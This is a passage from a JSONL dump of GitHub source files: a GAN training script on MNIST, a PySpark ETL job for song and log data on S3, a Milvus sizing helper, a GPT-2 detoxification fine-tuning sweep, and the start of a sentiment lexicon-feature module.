default=10)\nparser.add_argument('--learning_rate', type=float, default=0.002)# learning rate, no decay\nargs = parser.parse_args()\nprint(args)\n\n\n# fixed random seeds\nrng = np.random.RandomState(args.seed)\ntheano_rng = MRG_RandomStreams(rng.randint(2 ** 15))\nlasagne.random.set_rng(np.random.RandomState(rng.randint(2 ** 15)))\ndata_rng = np.random.RandomState(args.seed_data)\n\n# specify generative model\nnoise = theano_rng.uniform(size=(args.batch_size, 50))\ngen_layers = [LL.InputLayer(shape=(args.batch_size, 50), input_var=noise)]\ngen_layers.append(nn.batch_norm(LL.DenseLayer(gen_layers[-1], num_units=500, nonlinearity=T.nnet.softplus), g=None))\ngen_layers.append(nn.batch_norm(LL.DenseLayer(gen_layers[-1], num_units=500, nonlinearity=T.nnet.softplus), g=None))\ngen_layers.append(nn.l2normalize(LL.DenseLayer(gen_layers[-1], num_units=28**2, nonlinearity=T.nnet.sigmoid)))\ngen_dat = LL.get_output(gen_layers[-1], deterministic=False)\n\n# specify supervised model\nlayers = [LL.InputLayer(shape=(None, 28**2))]\nlayers.append(nn.GaussianNoiseLayer(layers[-1], sigma=0.3))\nlayers.append(nn.DenseLayer(layers[-1], num_units=1000))\nlayers.append(nn.GaussianNoiseLayer(layers[-1], sigma=0.5))\nlayers.append(nn.DenseLayer(layers[-1], num_units=500))\nlayers.append(nn.GaussianNoiseLayer(layers[-1], sigma=0.5))\nlayers.append(nn.DenseLayer(layers[-1], num_units=250))\nlayers.append(nn.GaussianNoiseLayer(layers[-1], sigma=0.5))\nlayers.append(nn.DenseLayer(layers[-1], num_units=250))\nlayers.append(nn.GaussianNoiseLayer(layers[-1], sigma=0.5))\nlayers.append(nn.DenseLayer(layers[-1], num_units=250))\nlayers.append(nn.GaussianNoiseLayer(layers[-1], sigma=0.5))\nlayers.append(nn.DenseLayer(layers[-1], num_units=10, nonlinearity=None, train_scale=True))\n\n# costs\nlabels = T.ivector()\nx_lab = T.matrix()\nx_unl = T.matrix()\n\ntraining_targets =T.matrix('targets')\ntraining_targets2 = T.matrix('targets2') \ntraining_targets3 = T.matrix('targets3') \n\n\ntemp = LL.get_output(gen_layers[-1], deterministic=False, init=True)\ntemp = LL.get_output(layers[-1], x_lab, deterministic=False, init=True)\ninit_updates = [u for l in gen_layers+layers for u in getattr(l,'init_updates',[])]\n\noutput_before_softmax_lab = LL.get_output(layers[-1], x_lab, deterministic=False) # no softmax labeled dis output\noutput_before_softmax_unl,output_before_softmax_unl_ = LL.get_output([layers[-1],layers[-2]], x_unl, deterministic=False) # last two layers' output \noutput_before_softmax_gen = LL.get_output(layers[-1], gen_dat, deterministic=False) #dis of generator output \n\nl_lab = output_before_softmax_lab[T.arange(args.batch_size),labels] \nl_unl = nn.log_sum_exp(output_before_softmax_unl) \nl_unl_ = nn.log_sum_exp(output_before_softmax_unl_) \nl_gen = nn.log_sum_exp(output_before_softmax_gen)\n#loss_lab = -T.mean(l_lab) + T.mean(T.mean(nn.log_sum_exp(output_before_softmax_lab)))\nloss_lab = T.mean(T.nnet.categorical_crossentropy(T.nnet.softmax(output_before_softmax_lab),labels)*(T.exp((pow(T.nnet.softmax(output_before_softmax_lab)[T.arange(args.batch_size),labels],2.0)))))\n\n\n#loss_ct = lasagne.objectives.squared_error(T.sum(T.exp(output_before_softmax_unl),axis =1)/(T.sum(T.exp(output_before_softmax_unl),axis =1)+1),T.sum(T.exp(output_before_softmax_unl2),axis=1)/(T.sum(T.exp(output_before_softmax_unl2),axis =1)+1))\nloss_ct = T.mean(lasagne.objectives.squared_error(T.nnet.softmax(output_before_softmax_unl),T.nnet.softmax(training_targets)),axis = 1)\n \nlast_result = T.nnet.softmax(output_before_softmax_unl)\n\nloss_ct_ = T.mean(lasagne.objectives.squared_error(output_before_softmax_unl_,training_targets2),axis = 1) #D_ normalization, this term makes the model unstable\n\nCT = LAMBDA_2*(loss_ct+0.0*loss_ct_)-factor_M\nCT_ = T.mean(T.maximum(CT,0.0*CT),axis=0)\n\nloss_unl = 0.5*(CT_ -T.mean(l_unl) + T.mean(T.nnet.softplus(l_unl)) -np.log(1) + T.mean(T.nnet.softplus(l_gen))) #should be smaller\n\n\nzeros = np.zeros(args.batch_size)\ntrain_err = T.mean(T.neq(T.argmax(output_before_softmax_lab,axis=1),labels))\ntrain_err2 = T.mean(T.le(T.max(output_before_softmax_lab,axis=1),zeros)) #mis-classification\n\nm1 = T.mean(LL.get_output(layers[-3], gen_dat), axis=0)\nm2 = T.mean(LL.get_output(layers[-3], x_unl), axis=0)\nloss_gen = T.mean(T.square(m1 - m2))\n\n# test error\noutput_before_softmax = LL.get_output(layers[-1], x_lab, deterministic=True)\ntest_err = T.mean(T.neq(T.argmax(output_before_softmax,axis=1),labels))\n\n# Theano functions for training and testing\nlr = T.scalar()\ndisc_params = LL.get_all_params(layers, trainable=True)\n\n\ndisc_param_updates = nn.adam_updates(disc_params, loss_lab + args.unlabeled_weight*loss_unl, lr=lr, mom1=0.5)\ndisc_param_avg = [th.shared(np.cast[th.config.floatX](0.*p.get_value())) for p in disc_params]\ndisc_avg_updates = [(a,a+0.0001*(p-a)) for p,a in zip(disc_params,disc_param_avg)]\ndisc_avg_givens = [(p,a) for p,a in zip(disc_params,disc_param_avg)]\ngen_params = LL.get_all_params(gen_layers, trainable=True)\ngen_param_updates = nn.adam_updates(gen_params, loss_gen, lr=lr, mom1=0.5)\ninit_param = th.function(inputs=[x_lab], outputs=None, updates=init_updates)\ntrain_batch_disc = th.function(inputs=[x_lab,labels,x_unl,training_targets,training_targets2,lr], outputs=[loss_lab, loss_unl, train_err,train_err2,output_before_softmax_unl,output_before_softmax_unl_,last_result], updates=disc_param_updates+disc_avg_updates)\n\n\n\ntrain_batch_gen = th.function(inputs=[x_unl,lr], outputs=loss_gen, updates=gen_param_updates)\ntest_batch = th.function(inputs=[x_lab,labels], outputs=test_err, givens=disc_avg_givens)\n\n# load MNIST data\ndata = np.load('mnist.npz')\ntrainx = np.concatenate([data['x_train'], data['x_valid']], axis=0).astype(th.config.floatX)\ntrainx_unl = trainx.copy()\ntrainx_unl2 = trainx.copy()\ntrainy = np.concatenate([data['y_train'], data['y_valid']]).astype(np.int32)\nnr_batches_train = int(trainx.shape[0]/args.batch_size)\ntestx = data['x_test'].astype(th.config.floatX)\ntesty = data['y_test'].astype(np.int32)\nnr_batches_test = int(testx.shape[0]/args.batch_size)\n\n\ntrainx_unl_org = trainx.copy()\ntrainx_unl2_org = trainx.copy()\n\n# select labeled data\ninds = data_rng.permutation(trainx.shape[0])\ntrainx = trainx[inds]\ntrainy = trainy[inds]\ntxs = []\ntys = []\nfor j in range(10):\n txs.append(trainx[trainy==j][:args.count])\n tys.append(trainy[trainy==j][:args.count])\ntxs = np.concatenate(txs, axis=0)\ntys = np.concatenate(tys, axis=0)\n\ninit_param(trainx[:500]) # data dependent initialization\n\n# //////////// perform training //////////////\nlr = 0.003 # learning rate 0.003\n\nstart_epoch = 0\n\ntraining_targets = np.float32(np.zeros((len(trainx_unl_org), 10))) # for saving the previous results \ntraining_targets2 = np.float32(np.zeros((len(trainx_unl_org), 250))) \ntraining_targets3 = np.float32(np.zeros((len(trainx_unl_org), 10))) \n\nensemble_prediction = np.float32(np.zeros((len(trainx_unl_org), 10)))\nensemble_prediction2 = np.float32(np.zeros((len(trainx_unl_org), 250)))\nensemble_prediction3 = np.float32(np.zeros((len(trainx_unl_org), 10))) \n\n\ntraining_target_var = np.float32(np.zeros((args.batch_size, 10)))\ntraining_target_var2 = np.float32(np.zeros((args.batch_size, 250)))\ntraining_target_var3 = np.float32(np.zeros((args.batch_size, 10)))\n\n\ntxs_new = txs\ntys_new = tys\n\n\n\nfor epoch in range(300): # 300 epochs\n begin = time.time()\n lr = args.learning_rate #no decay of learning rate\n # construct randomly permuted minibatches\n trainx = []\n trainy = []\n\n trainx_unl = []\n trainx_unl2 = []\n\n\n\n if epoch >= 100 and epoch%20 ==0: # after 100 epochs, for every 20 epoch, change dataset.\n txs_new = txs\n tys_new = tys\n tempx = []\n tempy = []\n tempx.append(trainx_unl_org[np.max(training_targets3,axis = 1)>0.99]) \n tempy.append(training_targets3[np.max(training_targets3,axis = 1)>0.99])\n tempx = np.squeeze(np.array(tempx))\n tempy = np.squeeze(np.array(tempy))\n tempy_onehot = tempy.argmax(axis = 1)\n #print(tempy.shape)\n #print(tempx.shape)\n #print(tempy_onehot[10])\n txs_new = np.concatenate((txs_new,tempx),axis = 0)\n tys_new = np.append(tys_new,np.int32(tempy_onehot))\n\n\n\n\n\n print(txs_new.shape)\n print(tys_new.shape)\n #print(training_targets3.shape[0])\n #print(training_targets3[0])\n\n\n\n\n for t in range(int(np.ceil(trainx_unl_org.shape[0]/float(txs_new.shape[0])))): \n inds = rng.permutation(txs_new.shape[0])\n trainx.append(txs_new[inds]) #shuffle\n trainy.append(tys_new[inds]) #shuffle 50000 labeled! \n trainx = np.concatenate(trainx, axis=0)\n trainy = np.concatenate(trainy, axis=0) # labeled data \n\t\n\n\n indices_all = rng.permutation(trainx_unl_org.shape[0])\n trainx_unl = trainx_unl_org[indices_all] # all can be treated as unlabeled examples\n trainx_unl2 = trainx_unl2_org[rng.permutation(trainx_unl2_org.shape[0])] # trainx_unl2 not equals to trainx_unl, the indexs are different\n training_target_var = training_targets[indices_all]\n training_target_var2 = training_targets2[indices_all] #force the labeled and unlabeled to be the same 50000:50000\t 1:1\n training_target_var3 = training_targets3[indices_all] #force the labeled and unlabeled to be the same\n\n\n epoch_predictions = np.float32(np.zeros((len(trainx_unl_org), 10)))\n epoch_predictions2 = np.float32(np.zeros((len(trainx_unl_org), 250)))\t\n epoch_predictions3 = np.float32(np.zeros((len(trainx_unl_org), 10)))\n\t\n training_targets = np.float32(training_targets)\n training_targets2 = np.float32(training_targets2)\n training_targets3 = np.float32(training_targets3)\t\n\n # train\n loss_lab = 0.\n loss_unl = 0.\n train_err = 0.\n train_err2 = 0.\n gen_loss = 0.\n\n\n\n for t in range(nr_batches_train): \n ran_from = t*args.batch_size\n ran_to = (t+1)*args.batch_size\n ll, lu, te,te2,prediction,prediction2,Last_Result = train_batch_disc(trainx[ran_from:ran_to],trainy[ran_from:ran_to],\n trainx_unl[ran_from:ran_to],training_target_var[ran_from:ran_to],training_target_var2[ran_from:ran_to],lr) \n indices = indices_all[ran_from:ran_to]\n loss_lab += ll\n loss_unl += lu\n train_err += te\n train_err2 +=te2 \n e = train_batch_gen(trainx_unl2[t*args.batch_size:(t+1)*args.batch_size],lr) # disc and gen for unlabeled data are different\n ##print(e)\n gen_loss += float(e)\n for i, j in enumerate(indices):\n epoch_predictions[j] = prediction[i] # Gather epoch predictions.\n epoch_predictions2[j] = prediction2[i] # Gather epoch predictions. \n epoch_predictions3[j] = Last_Result[i] # Gather epoch Last_Result after softmax. \n # record the results\n ensemble_prediction = (prediction_decay * ensemble_prediction) + (1.0 - prediction_decay) * epoch_predictions\n training_targets = ensemble_prediction / (1.0 - prediction_decay ** ((epoch - start_epoch) + 1.0))\n\n ensemble_prediction2 = (prediction_decay * ensemble_prediction2) + (1.0 - prediction_decay) * epoch_predictions2\n training_targets2 = ensemble_prediction2 / (1.0 - prediction_decay ** ((epoch - start_epoch) + 1.0))\n\n\n ensemble_prediction3 = (prediction_decay * ensemble_prediction3) + (1.0 - prediction_decay) * epoch_predictions3\n training_targets3 = ensemble_prediction3 / (1.0 - prediction_decay ** ((epoch - start_epoch) + 1.0))\n\n loss_lab /= nr_batches_train\n loss_unl /= nr_batches_train\n train_err /= nr_batches_train\n train_err2 /=nr_batches_train\n\n # test\n test_err = 0.\n for t in range(nr_batches_test):\n test_err += test_batch(testx[t*args.batch_size:(t+1)*args.batch_size],testy[t*args.batch_size:(t+1)*args.batch_size])\n test_err /= nr_batches_test\n\n\n # report\n print(\"Epoch %d, time = %ds, loss_lab = %.4f, loss_unl = %.4f, train err = %.4f, train err2 = %.4f,gen loss = %.4f,test err = %.4f\" % (epoch, time.time()-begin, loss_lab, loss_unl, train_err,train_err2,gen_loss,test_err))\n sys.stdout.flush()\n","repo_name":"biuyq/ISL-GAN","sub_path":"ISL_MNIST.py","file_name":"ISL_MNIST.py","file_ext":"py","file_size_in_byte":12703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42987398640","text":"import configparser\nfrom datetime import datetime\nimport os\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col\nfrom pyspark.sql.functions import year, month, dayofmonth, hour, weekofyear, date_format\n\n\nfrom pyspark.sql.types import StructType, StructField, \\\nDoubleType as Dbl, LongType as Long, StringType as Str, \\\n IntegerType as Int, DecimalType as Dec, DateType as Date, \\\n TimestampType as Stamp\n\nconfig = configparser.ConfigParser()\nconfig.read('dl.cfg')\n\nos.environ[\"AWS_ACCESS_KEY_ID\"]= config['AWS']['AWS_ACCESS_KEY_ID']\nos.environ[\"AWS_SECRET_ACCESS_KEY\"]= config['AWS']['AWS_SECRET_ACCESS_KEY']\n\n\ndef create_spark_session():\n \"\"\"\n Create spark session.\n \n return: spark session object\n \"\"\"\n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n return spark\n\ndef create_song_schema():\n \"\"\"\n Create schema for song data.\n \n return: schema\n \"\"\"\n song_schema = StructType([\n StructField(\"num_songs\", Int()),\n StructField(\"artist_id\", Str()),\n StructField(\"artist_latitude\", Dec()),\n StructField(\"artist_longitude\", Dec()),\n StructField(\"artist_location\", Str()),\n StructField(\"artist_name\", Str()),\n StructField(\"song_id\", Str()),\n StructField(\"title\", Str()),\n StructField(\"duration\", Dbl()),\n StructField(\"year\", Int())\n ])\n return song_schema\n\n\ndef create_log_data():\n \"\"\"\n Create schema for log data.\n \n return: schema\n \"\"\"\n log_schema = StructType([\n StructField(\"artist\", Str()), \n StructField('auth', Str()),\n StructField('firstName', Str()),\n StructField('gender', Str()),\n StructField('itemInSession', Int()),\n StructField('lastName', Str()),\n StructField('length', Dbl()),\n StructField('level', Str()),\n StructField('location', Str()),\n StructField('method', Str()),\n StructField('page', Str()),\n StructField('registration', Dec()),\n StructField('sessionId', Int()),\n StructField('song', Str()),\n StructField('status', Int()),\n StructField('ts', Long()),\n StructField('userAgent', Str()),\n StructField('userId', Int())\n ])\n return log_schema\n\ndef process_song_data(spark, input_data, output_data):\n \"\"\"\n Process song data by creating songs and artists table\n and writing the result to a given S3 bucket.\n \n \"\"\"\n # get filepath to song data file\n song_data_path = input_data + \"song_data/*/*/*/*.json\"\n print(\"Start processing song_data JSON files...\")\n \n start_sd = datetime.now()\n # read song data file\n \n print(\"Reading song_data files from {}...\".format(song_data_path))\n \n df_song_data = spark.read.json(song_data_path, schema = create_song_schema())\n \n stop_sd = datetime.now()\n total_sd = stop_sd - start_sd\n print(\"...finished reading song_data in {}.\".format(total_sd))\n \n print(\"Song_data schema:\")\n df_song_data.printSchema()\n \n \n # extract columns to create songs table\n print(\"Extracting columns to create songs table...\")\n\n songs_table = df_song_data.select('song_id',\n 'title', \n 'artist_id',\n 'year', \n 'duration').dropDuplicates(['song_id'])\n\n \n # write songs table to parquet files partitioned by year and artist\n print(\"Writing songs table to parquet files partitioned by year and artist...\")\n \n songs_table.write.parquet(output_data + \"songs_table.parquet\", \n partitionBy = [\"year\", \"artist_id\"],\n mode = \"overwrite\")\n\n # extract columns to create artists table\n print(\"Extracting columns to create artists table...\")\n artists_table = df_song_data.select('artist_id', \n 'artist_name', \n 'artist_location', \n 'artist_latitude', \n 'artist_longitude').dropDuplicates(['artist_id'])\n \n # write artists table to parquet files\n print(\"Writing artists table to parquet files...\")\n artists_table.write.parquet(output_data + \"artists_table.parquet\", \n mode = \"overwrite\")\n\n\ndef process_log_data(spark, input_data, output_data):\n \"\"\"\n Process log data by creating songs and artists table\n and writing the result to a given S3 bucket.\n \n \"\"\"\n # get filepath to log data file\n log_data_path = input_data + \"log_data/*/*/*.json\"\n \n print(\"Start processing log_data JSON files...\")\n start_ld = datetime.now()\n # read song data file\n \n print(\"Reading log_data files from {}...\".format(log_data_path))\n\n # read log data file\n df_log_data = spark.read.json(log_data_path, schema = create_log_data())\n \n print(\"Show log_data schema:\")\n df_log_data.printSchema()\n \n # filter by actions for song plays\n df_log_data = df_log_data.filter(df_log_data.page == 'NextSong')\n \n stop_ld = datetime.now()\n total_ld = stop_ld - start_ld\n print(\"...finished reading log_data in {}.\".format(total_ld))\n \n\n # extract columns for users table\n print(\"Extracting columns for users table...\")\n users_table = df_log_data.select('userId', \n 'firstName', \n 'lastName', \n 'gender', \n 'level').dropDuplicates([\"userId\"])\n \n # write users table to parquet files\n print(\"Writing users table to parquet files...\")\n users_table.write.parquet(output_data + \"users_table.parquet\",\n mode = \"overwrite\")\n\n # create timestamp column from original timestamp column\n print(\"Create timestamp column from original timestamp column...\")\n get_timestamp = udf(lambda x: datetime.fromtimestamp((x / 1000)), Stamp())\n df_log_data = df_log_data.withColumn(\"timestamp\", get_timestamp(col(\"ts\")))\n \n # create datetime column from original timestamp column\n print(\"Create datetime column from original timestamp column...\") \n get_datetime = udf(lambda x : datetime.fromtimestamp((x / 1000)), Stamp())\n df_log_data = df_log_data.withColumn(\"datetime\", get_datetime(col(\"ts\")))\n \n # extract columns to create time table\n time_table = df_log_data.selectExpr(\"timestamp as start_time\",\n \"hour(timestamp) as hour\",\n \"dayofmonth(timestamp) as day\",\n \"weekofyear(timestamp) as week\",\n \"month(timestamp) as month\",\n \"year(timestamp) as year\",\n \"dayofweek(timestamp) as weekday\"\n ).dropDuplicates([\"start_time\"])\n \n \n # write time table to parquet files partitioned by year and month\n print(\"Writing time table to parquet files...\")\n time_table.write.parquet(output_data + \"time_table.parquet\",\n partitionBy = [\"year\", \"month\"],\n mode = \"overwrite\")\n\n \n # read in song data to use for songplays table\n song_df_path = input_data + \"song_data/A/A/A/*.json\"\n df_song_data = spark.read.json(song_df_path)\n \n df_song_data.createOrReplaceTempView(\"song_data\")\n df_log_data.createOrReplaceTempView(\"log_data\")\n # extract columns from joined song and log datasets to create songplays table \n print(\"Extracting columns from joined song and log datasets to create songplays table...\")\n songplays_table = spark.sql(\"\"\"\n SELECT monotonically_increasing_id() as songplay_id,\n ld.timestamp as start_time,\n year(ld.timestamp) as year,\n month(ld.timestamp) as month,\n ld.userid, \n ld.level, \n sd.song_id, \n sd.artist_id, \n ld.sessionid, \n ld.location, \n ld.useragent\n \n FROM song_data sd \n JOIN log_data ld \n ON (sd.title = ld.song AND \n ld.artist = sd.artist_name)\n AND ld.page = 'NextSong'\n\"\"\")\n \n # write songplays table to parquet files partitioned by year and month\n print(\"Writing songplays table to parquet files...\")\n songplays_table.write.parquet(output_data + \"songplays_table.parquet\",\n partitionBy = [\"year\", \"month\"],\n mode = \"overwrite\")\n\ndef main():\n spark = create_spark_session()\n input_data = \"s3a://udacity-dend/\"\n output_data = \"s3a://data-lake-sparkify-uda/\"\n \n\n \n process_song_data(spark, input_data, output_data) \n process_log_data(spark, input_data, output_data)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"weinanlee/data-lake-sparkify","sub_path":"etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":9068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"131330148","text":"import logging\nimport time\n\n\ndef do_sizing(num_of_vectors, dim, data_type, index_type, single_deploy, num_of_cluster):\n if dim > 16384 or dim <= 0:\n return \"Waring: The dimensions' reference value is (0,16384].\"\n if num_of_vectors <=0:\n return \"Waring: The num of vectors must above 0.\"\n if not num_of_cluster:\n num_of_cluster = 0\n if not single_deploy:\n if num_of_cluster <=0:\n return \"Waring: The num of cluster must above 0.\"\n\n print('\\n', num_of_vectors, dim, data_type, index_type, single_deploy, num_of_cluster)\n\n try:\n size = num_of_vectors*dim*4/1024\n size_status = 1\n status = 'KB'\n while(size_status<3 and size>4096):\n size = size/1024\n status = 'MB'\n size_status += 1\n print(size, status, size_status)\n if size_status == 3:\n status = 'GB'\n\n if data_type == 'float':\n if index_type == 'IVFSQ8' or index_type == 'IVFSQ8H':\n disk_size = int(size*1.3)+1\n ram_size = int(size*0.3)+1\n else:\n disk_size = int(size*2)+1\n ram_size = int(size)+1\n elif data_type == 'bytes':\n disk_size = int(size/32*2)+1\n ram_size = int(size/32)+1\n if not single_deploy:\n ram_size = int(ram_size+4*num_of_cluster)\n\n return str(disk_size)+status,str(ram_size)+status\n\n except Exception as e:\n logging.error(e)\n return \"Error with {}\".format(e)","repo_name":"shiyu22/milvus-sizing-tool","sub_path":"src/service/count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5701394720","text":"import jsonlines\nimport json\nimport torch\nfrom transformers import GPT2LMHeadModel, GPT2Tokenizer\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.optim import lr_scheduler\nimport wandb\nimport pprint\nimport os\n\nos.environ[\"WANDB_API_KEY\"] = \"\"\n\nwandb.login()\n\nsweep_config = {\n 'method': 'random'\n }\n\nmetric = {\n 'name': 'loss',\n 'goal': 'minimize' \n }\n\nsweep_config['metric'] = metric\n\nparameters_dict = {\n 'optimizer': {\n 'values': ['sgd', 'adam', 'adamw']\n },\n 'weight_decay': {\n 'values': [0.001, 0.01, 0.1]\n },\n 'gamma': {\n 'values': [0.01, 0.1, 0.5]\n },\n 'step_size': {\n 'values': [5, 25, 50]\n },\n 'epochs': {\n 'values': [1, 3, 5]\n },\n 'learning_rate': {\n 'values': [1e-2, 1e-3, 1e-4, 1e-5, 1e-6]\n },\n 'batch_size': {\n 'distribution': 'q_log_uniform_values',\n 'q': 8,\n 'min': 4,\n 'max': 128,\n }\n }\n\nsweep_config['parameters'] = parameters_dict\n\npprint.pprint(sweep_config)\n\nsweep_id = wandb.sweep(sweep_config, project=\"cs682-expert-ft\")\n\n# Preprocess the JSONL file\nin_file = 'toxic_to_benign.jsonl'\nout_file = 'train.jsonl'\n\n\nwith jsonlines.open(in_file, 'r') as reader, jsonlines.open(out_file, 'w') as writer:\n for line in reader:\n if line:\n # Read the line as JSON\n data = line\n for i in data['continuations']:\n cont = i.split('Bot:')[-1]\n # Write the JSON line to the destination file\n writer.write({'prefix': data['prefix'], 'continuation': cont})\n\nin_file = 'zephyr_toxic_to_benign.jsonl'\nwith jsonlines.open(in_file, 'r') as reader, jsonlines.open(out_file, 'a') as writer:\n for line in reader:\n if line:\n # Read the line as JSON\n data = line\n for i in data['continuations']:\n cont = i.split('Bot:')[-1]\n # Write the JSON line to the destination file\n writer.write({'prefix': data['prefix'], 'continuation': cont})\n\nin_file = 'benign_to_benign.jsonl'\nwith jsonlines.open(in_file, 'r') as reader, jsonlines.open(out_file, 'a') as writer:\n for line in reader:\n if line:\n # Read the line as JSON\n data = line\n for i in data['continuations']:\n cont = i.split('Bot:')[-1]\n # Write the JSON line to the destination file\n writer.write({'prefix': data['prefix'], 'continuation': cont})\n\n# Define the dataset class\nclass PrefixDataset(Dataset):\n def __init__(self, file_path, tokenizer, max_length=128):\n self.tokenizer = tokenizer\n self.max_length = max_length\n self.examples = []\n with jsonlines.open(file_path, 'r') as reader:\n for line in reader:\n data = line\n prefix = data.get('prefix', '')\n continuations = data.get('continuation', [])\n\n text = prefix + ' ' + continuations\n self.examples.append(text)\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, idx):\n return self.examples[idx]\n\n# Path to your JSONL file\nfile_path = 'train.jsonl'\n\n\n# Load GPT-2 tokenizer and model\ntokenizer = GPT2Tokenizer.from_pretrained('gpt2')\nmodel = GPT2LMHeadModel.from_pretrained('gpt2')\n\ntokenizer.pad_token = tokenizer.eos_token\n\n# Custom dataset\ndataset = PrefixDataset(file_path, tokenizer)\n\n# Tokenize dataset and create DataLoader\ndef collate_fn(examples):\n return tokenizer(examples, return_tensors='pt', padding=True)\n\ndef get_optimizer(optimizer, lr, wd):\n if optimizer == 'adam':\n optimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=wd)\n elif optimizer == 'adamw':\n optimizer = torch.optim.AdamW(model.parameters(), lr=lr, weight_decay=wd)\n else:\n optimizer = torch.optim.SGD(model.parameters(), lr=lr, weight_decay=wd)\n return optimizer\n\n\ndef get_model(model_name = 'gpt2'):\n tokenizer = GPT2Tokenizer.from_pretrained('gpt2')\n model = GPT2LMHeadModel.from_pretrained('gpt2')\n return tokenizer, model\n\ndef get_scheduler(optimizer, step_size, gamma):\n return lr_scheduler.StepLR(optimizer, step_size=step_size, gamma=gamma)\n\ndef train_epoch(model, dataloader, optimizer, scheduler, device):\n i = 1\n cumu_loss = 0\n for batch in dataloader:\n input_ids = batch['input_ids'].to(device)\n labels = input_ids.clone()\n\n optimizer.zero_grad()\n outputs = model(input_ids=input_ids, labels=labels)\n loss = outputs.loss\n cumu_loss += loss.item()\n wandb.log({\"batch loss\": loss.item()})\n loss.backward()\n optimizer.step()\n scheduler.step()\n i+=1\n if i % 50 == 0:\n print(f\"Iteration: {i}, Loss: {loss.item()}\")\n return cumu_loss / len(dataloader)\n \n \n\n\ndef train(config=None):\n # Initialize a new wandb run\n with wandb.init(config=config):\n # If called by wandb.agent, as below,\n # this config will be set by Sweep Controller\n config = wandb.config\n \n tokenizer, model = get_model()\n dataset = PrefixDataset(file_path, tokenizer)\n dataloader = DataLoader(dataset, batch_size=config.batch_size, collate_fn=collate_fn)\n \n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model.to(device)\n\n lr = config.learning_rate\n wd = config.weight_decay\n optimizer = get_optimizer(config.optimizer, lr, wd)\n scheduler = get_scheduler(optimizer, config.step_size, config.gamma)\n\n for epoch in range(config.epochs): # Set the number of epochs\n cumu_loss = train_epoch(model, dataloader, optimizer, scheduler, device)\n wandb.log({\"loss\": cumu_loss / len(dataloader), \"epoch\": epoch})\n\n\nwandb.agent(sweep_id, train, count=10)","repo_name":"razor08/Controlled-Text-Generation","sub_path":"Token-Level-Generation/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31297885283","text":"#-------------------------------------------------------------------------------\n# Name: taskb_lexicon_features.py\n#\n# Purpose: Lexicon features\n#\n# Author: Willie Boag\n#-------------------------------------------------------------------------------\n\n\nimport os,sys\nimport string\nfrom collections import defaultdict\n\n\n# Add common-lib code to system path\nsources = os.getenv('BISCUIT_DIR')\nif sources not in sys.path: sys.path.append(sources)\n\n\n# If enabled, build all lexicons\nfrom common_lib.read_config import enabled_modules\nif enabled_modules['lexicons']:\n from common_lib.common_lexicons.lexicons import lexOpi\n from common_lib.common_lexicons.lexicons import lexSubj\n from common_lib.common_lexicons.lexicons import lexEmo\n from common_lib.common_lexicons.lexicons import lexAff\n from common_lib.common_lexicons.lexicons import lexHTS\n from common_lib.common_lexicons.lexicons import lexS140\n from common_lib.common_lexicons.lexicons import lexInq\n\n #from common_lib.common_lexicons.lexicons import lexClus\n\nfrom common_lib.common_features.utilities import normalize_phrase_TaskA, is_elongated_word\n\n\n\n\n# Common spelling abbreviations and mistakes\ncommon = {}\nabbrevs = os.path.join('/data1/nlp-data/twitter/tools/spell/abbrv.txt')\nwith open(abbrevs,'r') as f:\n for line in f.readlines():\n if line == '\\n': continue\n abbrev,full = tuple(line.strip('\\n').split(' || '))\n common[abbrev] = full\n\n\ndef light_normalize(sentence, begin, end, ark_tweet):\n\n # Normalize phrase\n normalized = normalize_phrase_TaskA(sentence, ark_tweet)\n\n # Get given phrase\n phrase = [ w.lower() for words in normalized[begin:end] for w in words ]\n\n # Common spelling mistakes\n retVal = []\n for t in phrase:\n if t == '': continue\n\n negated = ('_neg' in t)\n if negated: t = t[:-4]\n\n key = t.strip(string.punctuation)\n if key in common:\n abbrv = common[key].split()\n if negated: abbrv = [ w+'_neg' for w in abbrv ]\n retVal += abbrv\n else:\n if negated: key += '_neg'\n retVal.append(key)\n if t[0] == '#': retVal.append(t)\n phrase = retVal\n\n return phrase\n\n\n\ndef heavy_normalize(phrase):\n return phrase\n\n\n\n# Useful helper functions\ndef k_most_influential(lst, k):\n \"\"\"\n return reverse sorted length-k list with largest abs values from lst\n ex. k_most_influential([1,5,-10,3,7,-6], 2) --> [-10,7,6]\n \"\"\"\n return sorted(lst, key=abs, reverse=True)[:k]\n\n\ndef average(lst):\n return sum(lst) / (len(lst) + 1e-5)\n\n\ndef is_positive(score):\n return score > 0\n\n\ndef scores_to_features(scores, lexName, featName):\n features = {}\n\n if len(scores) == 0: return {}\n\n # Average scores\n features[('avg_score', (lexName,featName))] = average(scores)\n\n # List of positive scores\n pos_scores = filter(is_positive, scores)\n\n # num_of_positive, max_score, last_positive\n features[('positive_count', (lexName,featName))] = len(pos_scores)\n features[('max' , (lexName,featName))] = max( scores)\n\n #for i,s in enumerate(k_most_influential(scores,3)):\n # features[('%d-most-influential'%i,(lexName,featName))] = s\n\n if len(pos_scores):\n features[('last_posit', (lexName,featName))] = pos_scores[-1]\n\n return features\n\n\ndef context_lookup(lookup_fcn, w):\n negated = -1 if (w[-4:] == '_neg') else 1\n if w[-4:] == '_neg': w = w[:-4]\n score = lookup_fcn(w) * negated\n return score\n\n\n\ndef opinion_lexicon_features(phrase):\n\n features = {}\n\n # Count number of positive, negative, and neutral labels there are\n Opi_sentiments = defaultdict(lambda:0)\n for word in phrase:\n negated = ('_neg' in word)\n if negated: word = word[:-4]\n label = lexOpi.lookup(word)\n if label != 'neutral':\n if negated:\n if label == 'positive':\n label = 'negative'\n else:\n label = 'positive'\n 